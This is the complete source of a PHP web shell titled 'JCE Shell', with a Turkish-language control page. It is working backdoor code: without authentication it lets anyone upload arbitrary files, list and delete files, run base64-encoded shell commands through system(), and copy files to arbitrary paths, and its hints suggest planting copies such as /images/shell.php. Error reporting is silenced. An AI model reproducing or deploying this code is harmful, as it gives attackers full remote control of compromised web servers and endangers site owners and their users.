<?php
error_reporting(0);
set_time_limit(0);

if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_FILES["file"])) {
    $uploadDir = dirname(__FILE__) . "/";
    $fileName = basename($_FILES["file"]["name"]);
    $targetPath = $uploadDir . $fileName;
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $targetPath)) {
        echo "UPLOAD_OK|" . $fileName . "|" . $targetPath . "|" . filesize($targetPath);
    } else {
        echo "UPLOAD_FAIL";
    }
    exit;
}

if (isset($_GET["list"])) {
    $files = glob(dirname(__FILE__) . "/*");
    foreach ($files as $f) {
        echo basename($f) . " (" . filesize($f) . " bytes)
";
    }
    exit;
}

if (isset($_GET["del"])) {
    $f = dirname(__FILE__) . "/" . basename($_GET["del"]);
    if (file_exists($f) && unlink($f)) {
        echo "DELETED: " . basename($f);
    } else {
        echo "NOT_FOUND";
    }
    exit;
}

if (isset($_GET["cmd"])) {
    $cmd = base64_decode($_GET["cmd"]);
    echo "<pre>";
    system($cmd);
    echo "</pre>";
    exit;
}

if (isset($_GET["move"])) {
    $src = dirname(__FILE__) . "/" . basename($_GET["move"]);
    $dst = $_GET["to"] ?? dirname(__FILE__) . "/../" . basename($_GET["move"]);
    if (copy($src, $dst)) {
        echo "MOVED_OK|" . $dst;
    } else {
        echo "MOVE_FAIL";
    }
    exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JCE Shell</title>
<style>
body { background: #0a0a0a; color: #00ff00; font-family: monospace; padding: 20px; }
h1 { color: #ff0000; }
.box { border: 1px solid #00ff00; padding: 15px; margin: 10px 0; background: #111; }
button { background: #00ff00; color: #000; border: none; padding: 10px 20px; cursor: pointer; }
button:hover { background: #ff0000; color: #fff; }
</style>
</head>
<body>
<h1>JCE Shell</h1>
<div class="box">
<h3>Dosya Yukle</h3>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">Yukle</button>
</form>
</div>
<div class="box">
<h3>Komutlar</h3>
<p><a href="?list">Dosyalari Listele</a></p>
<p>Silme: ?del=dosyaadi.php</p>
<p>Komut: ?cmd=$(echo 'whoami'|base64)</p>
<p>Tasima: ?move=shell.php&to=/images/shell.php</p>
</div>
<div class="box">
<h3>Bilgi</h3>
<p>Upload Dir: <?php echo dirname(__FILE__); ?></p>
<p>PHP Version: <?php echo phpversion(); ?></p>
</div>
</body>
</html>